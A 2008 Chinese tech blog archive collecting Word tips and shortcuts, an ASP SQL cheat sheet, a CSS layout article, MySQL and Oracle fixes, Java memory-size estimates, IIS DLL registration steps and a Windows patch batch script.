联系电话
联系人姓名
QQ号码
可以先选定这些内容,再单击工具→自动更正→在替换框中输入标记名称(如“公司信息”)→添加→确定,以后凡是在文档中要用到这个信息的地方键入“公司信息”(不要引号)这几个字后就自动替换成:
公司名称
公司住址
联系电话
联系人姓名
QQ号码
说明:有些输入法不支持这个功能,键入标记名称后要按一下空格才行。

快速换页的方法
双击某页的右下脚,光标即可定位在那里,然后按回车直到换页。ctrl+回车点插入按纽,分隔符,选中分页符,然后确认就OK了 !!!

表格的简单调整宽度
鼠标放在表格的右边框上带鼠标变成可以调整大小的时候
双击
根据表格内的内容调节表格大小

代替金山词霸
点工具——语言——翻译,在右边出现的搜索框中输入要查的单词,回车就可以翻译了。可以选择英语翻成中文或中文翻成英语。
第一次使用可能要安装。

[Alt]键实现标尺的精确定位
如果你经常使用水平标尺来精确定位标签、页边框、首字缩进及页面对象的位置,那么你点击标尺设置页边框或标签时,您只可以将其设置为1字符或2字符,但不能设为1.5字符!要想设置更为精确的度量单位(例如百分之几字符),在按住[Alt]键的同时,点击并移动标尺或边框,此时标尺将用数字精确显示出当前的位置为百分之几字符位置。

用“记事本”去除格式
网页上COPY下来的东西往往都是有网格的,如果直接粘贴在WORD中会杂乱无章。先粘贴到记事本当中,再粘贴到WORD中,就可以去除网格等格式,再全选选择清除格式,居中再取消居中即可取消所有格式。可以直接在WORD中进行:(菜单)编辑/选择性粘贴……/无格式文本/确定。这样省事多了。

快速将文档转换成图片
先把欲想转换的文档保存退出.如:保存在桌面
然后新建一个文件.把想转换的文档(鼠标左建按住该文档不放)直接施放在页面上

恢复office的默认设置
比如不小心把word设置乱了(如删了菜单栏等等).
查找normal.dot直接删除.
下一次启动word会恢复默认值.

让Word只粘贴网页中的文字而自动去除图形和版式
方法一、选中需要的网页内容并按“Ctrl+C”键复制,打开Word,选择菜单“编辑”→“选择性粘贴”,在出现的对话框中选择“无格式文本”。
方法二、选中需要的网页内容并按“Ctrl+C” 键复制,打开记事本等纯文本编辑工具,按“Ctrl+V”键将内容粘贴到这些文本编辑器中,然后再复制并粘贴到Word中。

ctrl+alt+f可以输入脚注
这个对于经常写论文的朋友应该有点帮助。

将阿拉伯数字转换成中文数字或序号
1、先输入阿拉伯数字(如1234),全选中,单击“插入/数字/数字类型(壹、贰……)/确定”,即变为大写数字(如壹仟贰佰叁拾肆),会计朋友非常适用。
2、其他像一千二百三十四,甲、乙……,子、丑……,罗马数字等的转换,可参考上法。

Word中的常用快捷键吧
“字体”对话框     Ctrl+D
选择框式工具栏中的“字体”框     Ctrl+Shift+F
加粗 Ctrl+B
倾斜 Ctrl+I
下划线Ctrl+U
“上标”效果     Ctrl+Shift+=
“下标”效果     Ctrl+=
“关闭”命令     Ctrl+W
Word快捷键一览表
序号       快捷键CTRL+       代表意义
1…………Z…………撤消
2…………A…………全选
3…………X…………剪切
4…………C…………复制
5…………V…………粘贴
6…………S…………保存
7…………B…………加粗
8………… Q…………左对齐
9…………E…………据中
10…………R…………右对齐
11…………]…………放大
22…………[…………缩小
12…………N…………新建文档
13…………I…………字体倾斜
14…………W…………退出
15…………P…………打印
16…………U…………下划线
17…………O…………打开
18…………k…………插入超级连接
19…………F…………查找
20…………H…………替换
21…………G…………定位
23…Ctrl+Alt+L……带括号的编号
24…Ctrl+Alt+.________…
25…Alt+数字………区位码输入
26…Ctrl+Alt+Del………关机
27…Ctrl+Alt+Shift+?……¿
28…Ctrl+Alt+Shift+!……¡
29…Alt+Ctrl+E……………?
30…Alt+Ctrl+R……………®
31…Alt+Ctrl+T……………™
32…Alt+Ctrl+Ctrl…………©
33……Ctrl+D……………格式字体
34……Ctrl+Shift+= ………上标
35……Ctrl+=………………下标
36……Ctrl+Shift+>……放大字体
37……Ctrl+Shift+< ……缩小字体
38……Alt+Ctrl+I………打印预览
39……Alt+Ctrl+O………大刚示图
40……Alt+Ctrl+P………普通示图
41……Alt+Ctrl+M………插入批注
42……Alt+菜单上字母………打开该菜单

无级微调
打开“绘图”工具栏-点开下拉菜单-绘图网格...-将水平间距和垂直间距调到最小0.01-确定,这样你就可以无级微调

把work设置成在线打开,但不能修改‘只读’怎搞啊?
文件夹共享为只读

在WORD中输入三个等号然后回车。。。出来的是双横线哦。。。
同样的方法也可以做出波浪线单横线哦!~~~~~ ,
###为中间粗上下细的三线, ***为点线, ~~~为波浪线, ---为单线

输入拼音字母的音调怎么输入
用智能ABC,键入v9,然后自己挑选吧!

页码设置
1、打开页眉/页脚视图,点击插入页码按钮,将页码插入(此时所有的页码是连续编号的) 2、切换到页面视图,在需要从1计数的页面上插入连续分节符(插入--分隔符--分节符--连续) 3、再次换到页眉/页脚视图,点击设置页码格式按钮,将页码编排-起始页码设置为1

把Excel中的表格以图片形式复制到Word中
除了用抓图软件和全屏拷贝法外还有更简单的呢
先选定区域,按住Shift健点击"编辑"会出现"复制图片""粘贴图片",复制了后,在Word中选"粘贴图片"就可像处理图片一样处理Excel表格了!

Ctrl+鼠标滑轮(左右键中间的那个轮子)可以迅速调节显示比例的大小(100%)。向上滑扩大,向下滑缩小。


快速调整页眉横线长度
在word插入页眉后,会自动在此位置添加一条长横线。如果需要调整此线的长度及其水平位置,可以首先激活页眉,选择格式下的段落命令,调整一下左右缩进的字符值,确定可以看到最终效果了!

快速浏览图片
在WORD2003中,如果插入的图片过多,会影响打开和翻滚的速度。其实,我们可以通过改变图片的显示方式改变浏览速度。
工具--选项--视图--图片框
这样,先显示的是图片框,需要看的时候,停留,即可显示!

WORD 中如何输入分数
1、打开word,点击工具菜单栏的“插入”,在下拉菜单中点“域”。
2、在打开的复选框中的类别栏中“选等式公式”,域名中“EQ”。然后点击“选项”,在出现的菜单选项中选“F(,)”,接着点击“添加到域”并“确定”。
3、然后在输入F(,)数字,如要输入23 只需在F(,)输入F(2,3)就能得到2/3

怎样使WORD 文档只有第一页没有页眉,页脚
答:页面设置-页眉和页脚,选首页不同,然后选中首页页眉中的小箭头,格式-边框和底纹,选择无,这个只要在“视图”——“页眉页脚”,其中的页面设置里,不要整个文档,就可以看到一个“同前”的标志,不选,前后的设置情况就不同了

Word中双击鼠标的妙用
在Word的程序窗口中不同位置上双击,可以快速实现一些常用功能,我们归纳如下:
在标题栏或垂直滚动条下端空白区域双击,则窗口在最大化和原来状态之间切换;
将鼠标在标题栏最左边WORD文档标记符号处双击,则直接退出WORD(如果没有保存,会弹出提示保存对话框);
将鼠标移到垂直滚动条的上端成双向拖拉箭头时双击,则快速将文档窗口一分为二;
将鼠标移到两个窗口的分界线处成双向拖拉箭头时双击,则取消对窗口的拆分;
在状态栏上的“修订”上双击,则启动“修订”功能,并打开“审阅”工具栏。再次双击,则关闭该功能,但“审阅”工具栏不会被关闭;
在状态栏上的“改写”上双击,则转换为“改写”形式(再次“双击”,转换为“插入”形式);
如果文档添加了页眉(页脚),将鼠标移到页眉(页脚)处双击,则激活页眉(页脚)进入编辑状态,对其进行编辑;在空白文档处双击,则启动“即点即输”功能;
在标尺前端空白处双击,则启动“页面设置”对话框。


在word编辑中经常要调整字休大小来满足编辑要求
选中要修改的文字,按ctrl+]或ctrl+[来改变字体的大小!
这个方法可以微量改字体大小~



文本框的线条
1. 制作好文档后,通过“视图→页眉页脚”命令,调出“页眉页脚”工具栏,单击其中的“显示→隐藏文档正文文字”按钮,隐藏正文部分的文字内容。
2. 选择“插入”菜单中的“文本框”命令,在页眉的下方插入一个空文本框。
3. 在文本框内加入作为水印的文字、图形等内容,右击图片,选择快捷菜单中的“设置图片格式”命令,在对话框中“图片”选项卡下,通过“图像控制”改变图像的颜色,对比度和亮度,并手动调整图片的大小。   
4. 通过“设置文本框格式”命令,把文本框的线条色改为无线条色。
5. 单击“页眉页脚”工具栏的“关闭”按钮,退出“页眉页脚”编辑。

每页添加水印的操作
1. 制作好文档后,通过“视图→页眉页脚”命令,调出“页眉页脚”工具栏,单击其中的“显示→隐藏文档正文文字”按钮,隐藏正文部分的文字内容。
2. 选择“插入”菜单中的“文本框”命令,在页眉的下方插入一个空文本框。
3. 在文本框内加入作为水印的文字、图形等内容,右击图片,选择快捷菜单中的“设置图片格式”命令,在对话框中“图片”选项卡下,通过“图像控制”改变图像的颜色,对比度和亮度,并手动调整图片的大小。   
4. 通过“设置文本框格式”命令,把文本框的线条色改为无线条色。
5. 单击“页眉页脚”工具栏的“关闭”按钮,退出“页眉页脚”编辑。
6. 完成上述步骤的操作,水印制作得以完成,这样就为每一页都添加了相同的水印。

让Word页面快速一分为二
将光标定位在想分开的位置上,按下“Ctrl+Shift+Enter”组合键。


使Word中的字体变清晰
Word文档中使用 “仿宋” 字体很淡,可按以下方法使字体更清晰:
右击桌面,点 “属性”,点 “外观”,点 “效果”,选中“使用下列方式使屏幕字体的边缘平滑”选“清晰”,确定。

Word双面打印技巧
   我们平时用电脑的时候可能都少不了打印材料,Word是我们平常用的最多的Office软件之一。有时我们要用Word打印许多页的文档,出于格式要求或为了节省纸张,会进行双面打印

  我们一般常用的操作方法是:选择“打印”对话框底部的“打印”下拉列表框中的“打印奇数页”或“打印偶数页”,来实现双面打印。我们设定为先打印奇数页。等奇数页打印结束后,将原先已打印好的纸反过来重新放到打印机上,选择该设置的“打印偶数页”,单击“确定”按钮。这样通过两次打印命令就可以实现双面打印。

  我们也可以利用另一种更灵活的双面打印方式:打开“打印”对话框,选中“人工双面打印”,确定后就会出现一个“请将出纸器中已打印好的一面的纸取出并将其放回到送纸器中,然后‘确定’按键,继续打印”的对话框并开始打印奇数页,打完后将原先已打印好的纸反过来重新放到打印机上,然后按下该对话框的“确定”按键,Word就会自动再打印偶数页,这样只用一次打印命令就可以了。

  两种方法对比,后者较前者更为方便。

posted @ 2008-06-06 12:16 jadmin 阅读(82) | 评论 (0)编辑 收藏
添加、删除、修改使用db.Execute(Sql)命令执行操作
╔----------------╗
☆ 数据记录筛选 ☆
╚----------------╝
注意:单双引号的用法可能有误(没有测式)

Sql = "Select Distinct 字段名 From 数据表"
Distinct函数,查询数据库存表内不重复的记录

Sql = "Select Count(*) From 数据表 where 字段名1>#18:0:0# and 字段名1< #19:00# "
count函数,查询数库表内有多少条记录,“字段名1”是指同一字段
例:
set rs=conn.execute("select count(id) as idnum from news")
response.write rs("idnum")

sql="select * from 数据表 where 字段名 between 值1 and 值2"
Sql="select * from 数据表 where 字段名 between #2003-8-10# and #2003-8-12#"
在日期类数值为2003-8-10 19:55:08 的字段里查找2003-8-10至2003-8-12的所有记录,而不管是几点几分。

select * from tb_name where datetime between #2003-8-10# and #2003-8-12#
字段里面的数据格式为:2003-8-10 19:55:08,通过sql查出2003-8-10至2003-8-12的所有纪录,而不管是几点几分。


Sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

Sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"
模糊查询

Sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
查找数据库中前10记录

Sql="select top n * form 数据表 order by newid()"
随机取出数据库中的若干条记录的方法
top n,n就是要取出的记录数

Sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"

╔----------------╗
☆ 添加数据记录 ☆
╚----------------╝
sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"

sql="insert into 数据表 valuess (值1,值2,值3 …)"
不指定具体字段名表示将按照数据表中字段的顺序,依次添加

sql="insert into 目标数据表 select * from 源数据表"
把源数据表的记录添加到目标数据表

╔----------------╗
☆ 更新数据记录 ☆
╚----------------╝
Sql="update 数据表 set 字段名=字段值 where 条件表达式"

Sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"

Sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n "
没有条件则更新整个数据表中的指定字段值

╔----------------╗
☆ 删除数据记录 ☆
╚----------------╝
Sql="delete from 数据表 where 条件表达式"

Sql="delete from 数据表"
没有条件将删除数据表中所有记录)

╔--------------------╗
☆ 数据记录统计函数 ☆
╚--------------------╝
AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加

引用以上函数的方法:
sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)
用 rs("别名") 获取统的计值,其它函数运用同上。

╔----------------------╗
☆ 数据表的建立和删除 ☆
╚----------------------╝
Create TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )
例:Create TABLE tab01(name varchar(50),datetime default now())
Drop TABLE 数据表名称 (永久性删除一个数据表)

╔--------------------╗
☆ 记录集对象的方法 ☆
╚--------------------╝
rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录
posted @ 2008-06-05 16:09 jadmin 阅读(69) | 评论 (0)编辑 收藏

你正在学习CSS布局吗?是不是还不能完全掌握纯CSS布局?通常有两种情况阻碍你的学习:

第一种可能是你还没有理解CSS处理页面的原理。在你考虑你的页面整体表现效果前,你应当先考虑内容的语义和结构,然后再针对语义、结构添加CSS。这篇文章将告诉你应该怎样把HTML结构化。

另一种原因是你对那些非常熟悉的表现层属性(例如:cellpadding,、hspace、align="left"等等)束手无策,不知道该转换成对 应的什么CSS语句。 当你解决了第一种问题,知道了如何结构化你的HTML,我再给出一个列表,详细列出原来的表现属性用什么CSS来代替。

结构化HTML

我们在刚学习网页制作时,总是先考虑怎么设计,考虑那些图片、字体、颜色、以及布局方案。然后我们用Photoshop或者Fireworks画出来、切割成小图。最后再通过编辑HTML将所有设计还原表现在页面上。

如果你希望你的HTML页面用CSS布局(是CSS-friendly的),你需要回头重来,先不考虑“外观”,要先思考你的页面内容的语义和结构。

外观并不是最重要的。一个结构良好的HTML页面可以以任何外观表现出来,CSS Zen Garden是一个典型的例子。CSS Zen Garden帮助我们最终认识到CSS的强大力量。

HTML不仅仅只在电脑屏幕上阅读。你用photoshop精心设计的画面可能不能显示在PDA、移动电话和屏幕阅读机上。但是一个结构良好的HTML页面可以通过CSS的不同定义,显示在任何地方,任何网络设备上。

开始思考

首先要学习什么是"结构",一些作家也称之为"语义"。这个术语的意思是你需要分析你的内容块,以及每块内容服务的目的,然后再根据这些内容目的建立起相应的HTML结构。

如果你坐下来仔细分析和规划你的页面结构,你可能得到类似这样的几块:

标志和站点名称

主页面内容

站点导航(主菜单)

子菜单

搜索框

功能区(例如购物车、收银台)

页脚(版权和有关法律声明)

我们通常采用DIV元素来将这些结构定义出来,类似这样:

<div id="header"></div>

<div id="content"></div>

<div id="globalnav"></div>

<div id="subnav"></div>

<div id="search"></div>

<div id="shop"></div>

<div id="footer"></div>

这不是布局,是结构。这是一个对内容块的语义说明。当你理解了你的结构,就可以加对应的ID在DIV上。DIV容器中可以包含任何内容块,也可以嵌套另一个DIV。内容块可以包含任意的HTML元素---标题、段落、图片、表格、列表等等。

根据上面讲述的,你已经知道如何结构化HTML,现在你可以进行布局和样式定义了。每一个内容块都可以放在页面上任何地方,再指定这个块的颜色、字体、边框、背景以及对齐属性等等。

使用选择器是件美妙的事

id的名称是控制某一内容块的手段,通过给这个内容块套上DIV并加上唯一的id,你就可以用CSS选择器来精确定义每一个页面元素的外观表现,包括标 题、列表、图片、链接或者段落等等。例如你为#header写一个CSS规则,就可以完全不同于#content里的图片规则。

另外一个例子是:你可以通过不同规则来定义不同内容块里的链接样式。类似这样:#globalnav a:link或者 #subnav a:link或者#content a:link。你也可以定义不同内容块中相同元素的样式不一样。例如,通过#content p和#footer p分别定义#content和#footer中p的样式。从结构上讲,你的页面是由图片、链接、列表、段落等组成的,这些元素本身并不会对显示在什么网络 设备中(PDA还是手机或者网络电视)有影响,它们可以被定义为任何的表现外观。

一个仔细结构化的HTML页面非常简单,每一个元素都被用于结构目的。当你想缩进一个段落,不需要使用blockquote标签,只要使用p标签,并对p 加一个CSS的margin规则就可以实现缩进目的。p是结构化标签,margin是表现属性,前者属于HTML,后者属于CSS。(这就是结构于表现的 相分离.)

良好结构的HTML页面内几乎没有表现属性的标签。代码非常干净简洁。例如,原先的代码<table width="80%" cellpadding="3" border="2" align="left">,现在可以只在HTML中写<table>,所有控制表现的东西都写到CSS中去,在结构化的HTML中, table就是表格,而不是其他什么(比如被用来布局和定位)。

亲自实践一下结构化

上面说的只是最基本的结构,实际应用中,你可以根据需要来调整内容块。常常会出现DIV嵌套的情况,你会看到"container"层中又有其它层,结构类似这样:

<div id="navcontainer">

<div id="globalnav">

<ul>a list</ul>

</div>

<div id="subnav">

<ul>another list</ul>

</div>

</div>

嵌套的div元素允许你定义更多的CSS规则来控制表现,例如:你可以给#navcontainer一个规则让列表居右,再给#globalnav一个规则让列表居左,而给#subnav的list另一个完全不同的表现。

用CSS替换传统方法

下面的列表将帮助你用CSS替换传统方法:

HTML属性以及相对应的CSS方法

HTML属性

CSS方法说明

align="left"

align="right" float: left;

float: right; 使用CSS可以浮动 任何元素:图片、段落、div、标题、表格、列表等等

当你使用float属性,必须给这个浮动元素定义一个宽度。

marginwidth="0" leftmargin="0" marginheight="0" topmargin="0" margin: 0; 使用CSS, margin可以设置在任何元素上, 不仅仅是body元素.更重要的,你可以分别指定元素的top, right, bottom和left的margin值。

vlink="#333399" alink="#000000" link="#3333FF" a:link #3ff;

a:visited: #339;

a:hover: #999;

a:active: #00f;

在HTML中,链接的颜色作为body的一个属性值定义。整个页面的链接风格都一样。使用CSS的选择器,页面不同部分的链接样式可以不一样。

bgcolor="#FFFFFF" background-color: #fff; 在CSS中,任何元素都可以定义背景颜色,不仅仅局限于body和table元素。

bordercolor="#FFFFFF" border-color: #fff; 任何元素都可以设置边框(boeder),你可以分别定义top, right, bottom和left

border="3"cellspacing="3" border-width: 3px; 用CSS,你可以定义table的边框为统一样式,也可以分别定义top, right, bottom and left边框的颜色、尺寸和样式。

你可以使用 table, td or th 这些选择器.

如果你需要设置无边框效果,可以使用CSS定义: border-collapse: collapse;

<br clear="left">

<br clear="right">

<br clear="all">

clear: left;

clear: right;

clear: both;

许多2列或者3列布局都使用 float属性来定位。如果你在浮动层中定义了背景颜色或者背景图片,你可以使用clear属性.

cellpadding="3"

vspace="3"

hspace="3" padding: 3px; 用CSS,任何元素都可以设定padding属性,同样,padding可以分别设置top, right, bottom and left。padding是透明的。

align="center" text-align: center;

margin-right: auto; margin-left: auto;

Text-align 只适用于文本.

象div,p这样的块级可以通过margin-right: auto; 和margin-left: auto;来水平居中

一些令人遗憾的技巧和工作环境

由于浏览器对CSS支持的不完善,我们有时候不得不采取一些技巧(hacks)或建立一种环境(Workarounds)来让CSS实现传统方法同样的效 果。例如块级元素有时侯需要使用水平居中的技巧,盒模型bug的技巧等等。所有这些技巧都在Molly Holzschlag的文章《Integrated Web Design: Strategies for Long-Term CSS Hack Management》中有详细说明。

另外一个关于CSS技巧的资源站点是Big John和Holly Bergevin的“Position is Everything”。

理解浮动行为

Eric Meyer的《Containing Floats》将帮助你掌握如何使用float属性布局。float元素有时候需要清除(clear),阅读《How To Clear Floats Without Structural Markup》将非常有帮助。

更多帮助

已有的《CSS Discussion》列表是很好的资源,它收集了一个WiKiA讨论组的信息,其中包括CSS布局总结(css- discuss.incutio.com/?page=CssLayouts),CSS 技巧总结 (css-discuss.incutio.com/?page=CssHack) 以及更多。

posted @ 2008-06-03 17:29 jadmin 阅读(61) | 评论 (0)编辑 收藏

在 MySQL下,在进行中文模糊检索时,经常会返回一些与之不相关的记录,如查找 "%a%" 时,返

回的可能有中文字符,却没有a字符存在。本人以前也曾遇到过类似问题,经详细阅读MySQL的

Manual,发现可以有一种方法很方便的解决并得到满意的结果。

  希望通过“标题”对新闻库进行检索,关键字可能包含是中英文,如下SQL语句:

  以下为引用的内容:


  
Code:
select id,title,name from achech_com.news where title like '%a%'


  返回的结果,某些title字段确定带了“a”关键字,而有些则只有中文,但也随之返回在检

索结果中。

  解决方法,使用 BINARY 属性进行检索,如:

  以下为引用的内容:


  
Code:
select id,title,name from achech_com.news where binary title like '%a%'


  返回的结果较之前正确,但英文字母区分大小写,故有时在检索如“Achech”及“achech”

的结果是不一样的。知道了使用 BINARY 属性可以解决前面这个问题,再看看 MySQL 支持的

UCASE 及 CONCAT 函数,其中 UCASE 是将英文全部转成大写,而CONCAT函数的作用是对字符进行

连接,以下是我们完全解决后的SQL 语句:


  
Code:
select id,title,name from achech_com.news

  where binary ucase(title) like concat('%',ucase('a'),'%')

  检索的步骤是先将属性指定为 BINARY ,以精确检索结果,而被 like 的 title内容存在大

小写字母的可能,故先使用 ucase 函数将字段内容全部转换成大写字母,然后再进行 like 操作

,而 like 的操作使用模糊方法,使用 concat的好处是传进来的可以是直接的关键字,不需要带

“%”万用符,将“'a'”直接换成你的变量,在任何语言下都万事无忧了。 当然你也可以这么写


  
Code:
select id,title,name from achech_com.news where binary ucase(title) like ucase('%a%')


  检索的结果还算满意吧,不过速度可能会因此而慢N毫秒。

posted @ 2008-06-01 21:36 jadmin 阅读(75) | 评论 (0)编辑 收藏

在试过Oracle安装目录下C:\oracle\product\10.2.0\db_1\jdbc\lib自带的驱动classes12.jar和ojdbc14.jar之后,都产生下面的错误

产生错误的原因是:数据库版本是10.2.0.1的驱动有问题,

解决办法:去下载最新的ojdbc14.jar 驱动,反正大于10.2.0.2版本应该就可以解决.

Oracle网站下载地址 :http://www.oracle.com/technology/software/tech/java/sqlj_jdbc/index.html

posted @ 2008-05-25 01:40 jadmin 阅读(339) | 评论 (0)编辑 收藏

转载自:http://java.ccidnet.com/art/3539/20080508/1443759_1.html

最近对程序占用内存方面做了一些优化,取得了不错的效果,总结了一些经验。

简要说一下,相信会对大家写出优质的程序有所帮助。

下面的论述针对32位系统,对64位系统不适用,后叙经常你写了一个程序,一测试,功能没问题,一看内存占用也不多,就不去考虑其它的东西了。但可能程序使用了一个什么数据结构,会当数据规模变大时,内存占用激增。

基本&&关键的问题是,Java里各种东东占多少内存?????????

对于primitive类型,有8个

byte short int long float double char boolean 它们的长度分别是

1 2 4 8 4 8 2 1

这个不罗嗦了,举例来说

long[] data=new long[1000];

占用内存 8*1000 bytes

此外,data本身是一个Object,也占用内存若干,后叙,当然它针对 8*1000来说,忽略不计

再说Object的占用,在说这个之前,先说说引用,一惯的说法是

Java里没有指针了,只有引用,引用是安全的

这个说法没错,但是从机理上来说,引用就是指针,只是jvm对指针的使用检查和限制很多,这个引用/指针变得很安全

直接来结论:一个引用占4byte ,在32位系统上

Object obj=null; //4byte

Object[] objs=new Object[1000]; //至少4*1000byte

你看我定义了一个 obj,还是null,就占4byte

定义了一个 objs,1000个元素,但都是null啊,就都每个占4byte

是的!!!!!

虽然obj==null,但它已经是 一个引用,或者说一个指针了

指针也要占地方啊!!!!啊!!!!啊!!!!

接下来,直接给另一个结论: Object占8byte,注意,纯Object

Object obj=new Object(); //多少????

8byte?? 错!! 12byte,忘了还有一个引用,8byte是Object的内容

记住 Object obj=new Object(); 占12byte

Object[] objs=new Object[1000];

for(int i=0;i<1000;i++) {

objs[i]=new Object();

}

至少占用 12*1000 bytes

推论: Object占12bytes,似乎和上面的结论矛盾??!!

没有!! 不管Object,没有被垃圾回收之前,总得被别人引用吧?

总的有指针指它吧? 既然指,那个引用or指针就要占地方啊 4byte

加起来是12byte,反正一个Object至少 12bytes

还是直接给结论,推导的过程我就都包办了,咱不是脏活累活抢着干么!!

一个Integer占 16 bytes

这时您可能会有疑问,Integer=Object+int,就是:

public class Integer {

public int value;

}

Integer应该占 8+4=12 bytes啊

你说的有道理,但是jvm对所有的Object有限制!!

这个限制被我发现了,就是不管什么Object占的空间,要是8的倍数

12不是8的倍数,只能是16了!!!

推论:Byte也占16bytes!!!!!!!!!!!

问:

Byte[] bytes=new Byte[1000];

占用空间多少?

答: 约为(至少为) (16+4)*1000 bytes

好家伙!!!!!!!!

论题:数组空间占用怎么算?

我这里直接给结论了,推导这个花了更长的时间:

对于数组来说,数组这个Object有一个length属性,数组的元素相当于其成员

public class Array {

public int length;

//... 其它成员

}

对于数组,我们不是直接可以取length属性么,源于此

public byte[] bytes=new byte[1000];

System.out.println(bytes.length); // 看,有length属性

上面的bytes换算过来是:

public class Array {

public int length;

public byte byte0;

public byte byte1;

...

public byte byte999;

}

上面的bytes占用的内存是:

4+[8+4 + 1*1000] = 4+ [1012]=4+1016=1020

4是 bytes这个引用,8是Object基占的,4是length属性占的

1000是1000个成员占的,本来是 1012,但要求是8的倍数,变成 1016了

总共是 1020

再如:

byte[] bytes=new byte[4];

的内存占用是:

4+[8+4+4*1]=4+[16]=20;

byte[] bytes=new byte[3]; 也是 20

对于元素是Object的数组,Object也是当作其成员,(注意只有引用这个数组的空间,这个可以推到普通Class上)

Byte[] bytes=new Byte[1000];

这个 bytes的定义相当于:

public class Array {

public int length;

public Byte byte0;

.....

public Byte byte999;

}

占用空间是:

4+[8+4+4*1000]+16*1000= 4+ 4016 + 16000 = 你自己算吧

推论:千万不要用 Byte[] 有20倍的差距!!!!!!!

你可能一下子没明白过来,没关系多琢磨一下,对于普通的class来说

,内容占用就是基加成员的占用,Object成员只记引用

public class Abc {

public int n;

public byte b;

public Object obj;

}

它的内容占用是: [8+4+1+4]=24

所以 Abc one=new Abc()的占用是 4+24=28

提醒:对于 Abc的成员 obj没有计,如果要计入的话,循环这个过程就可以了。(琢磨一下)

举例:

public class Abc {

public byte b;

public Object obj=null;

}

public class Def {

public int n;

public byte b;

public Abc obj=new Abc();

}

问:

Def one=new Def(); //占多少?

答:

4+[8+4+1+4]+[8+1+4]=4+24+16=44

public class Abc {

public byte b;

public Object obj=null;

}

public class Def {

public int n;

public byte b;

public Abc[] objs=new Abc[100];

{

for(int i=0;i<10;i++) {

objs[i]=new Abc();

}

}

}

问:

Def one=new Def(); //占多少?

答:

kao,一下我也算不出来,不过我写了程序,可以算出来,你给它一个Object,它就能递归的算出总共占了多少内存,这个程序不复杂,你也可以写出来。我等机会合适了再放出。

单独说一下String,String的结构是:

public class String {

private final char value[];

private final int offset;

private final int count;

private int hash; // Default to 0

}

所以,不考虑那个char[]的占用,一个String最少占用 [8+4+4+4+4]=24bytes

加上引用,共28bytes

所以

String s="";

占用28bytes!!!!! 尽管它的长度为0

如果精确的算,加上引用一个String的占用是

4+24+[8+4+2*length]

String s=""; 的占用是 28+16= 44

String s="ab" 的占用是 28+16= 44

String s="abc" 的占用是 28+24 = 52

要说的是,String是常用的类,这么看,String耗内存很多,所以jvm有优化,同样的内容尽量重用,所以除了28是必须的外,那个char[] 很可能一样

比方说

String[] s=new String[1000];

for(int i=0;i<1000;i++) {

s[i]=new String("abcdefasdjflksadjflkasdfj");

}

的占用的数量级是 28*1000,那 1000个字符串本身基本上不占内存,只有一份!!!!!!

反正String 至少是 28,最多也可能是28!!!!!!!!

比较占内存的数据结构,这个很重要:

基本上就是 primitive的包装

实例:

我以前用一个

Hashtable的结构,有100万个元素

改为String[]+int[]后,内存占用改观不少,速度也很快

100万的String[] 快排一下,也就2秒多,查找用2分,和hash也差不多少。

posted @ 2008-05-10 15:34 jadmin 阅读(63) | 评论 (0)编辑 收藏

1."-2147467259 (0x80004005)"错误

解决办法:

cmd进入命令提示窗,依次进行如下操作

regsvr32 vbscript.dll
regsvr32 jscript.dll
regsvr32 %windir%\system32\inetsrv\asp.dll


重新启动一下IIS,错误就解决了

2."Microsoft VBScript 运行时错误 (0x800A01AD)"错误,此错误属于没有FSO权限,需要注册scrrun.dll

解决办法:

运行-->输入命令regsvr32 scrrun.dll即可。

如果输入上述命令后,提示找不到模块,说明系统中缺少该组件,则进行如下操作

1.在安装文件(系统光盘)目录i386中找到scrrun.dl_,用winrar解压缩,得scrrun.dll,

2.复制到x(你的系统盘):\windows\system32\目录中。

3.运行-->运行命令regsvr32 scrrun.dll

补充:

取消FOS的命令是:运行regsvr32 scrrun.dll /u

posted @ 2008-05-06 17:58 jadmin 阅读(70) | 评论 (0)编辑 收藏

       系统要安全就需要经常的打补丁,经常的重装系统,当我们重装系统的时候挨个打补丁是非常麻烦的事情,因为补丁比较多,挨个启动比较烦琐,为了方便,我们可以自己制作一个补丁批处理安装程序。
       第一步:根据微软安全补丁最新发布通知和系统更新需要,下载所需的安全补丁(可以使用WUD下载)。在移动硬盘或U盘上建立目录,例如:“20071212xp_patch”,将下载的所有补丁文件复制到此文件夹内。
       第二步:微软KB类的安全补丁安装参数都很统一,主要分为“安装模式”、“重新启动选项”和“特别选项”三部分。其中,“/quiet”、“/passive”、“/norestart”和“/nobackup”安装参数分别表示“无用户操作或显示”、“无人参与模式”、“安装后不重启”和“不备份卸载需要的文件”。正确使用这几个参数可轻松实现补丁无人值守安装,并且能避免安装过程中重启电脑及在C盘Windows目录下备份无用的补丁文件。
       第三步:打开记事本程序,输入以下代码:

@echo off
for %%i in (*.exe) do %%i /passive /norestart /nobackup
shutdown -r                                          

       上面的代码,第二行是一个循环命令,循环执行同一目录下的所有补丁文件;最后一行“shutdown -r”,表示所有补丁安装后自动重启电脑(注:最后一行可以不加,省得象我一样这边下载着驱动,那边提示还有多少秒自动重启,晕啊 :)。把它保存为“updatexp.bat”,并复制到20071212xp_patch文件夹中。
       第四步:双击这个批处理文件,就可以了。

说明:
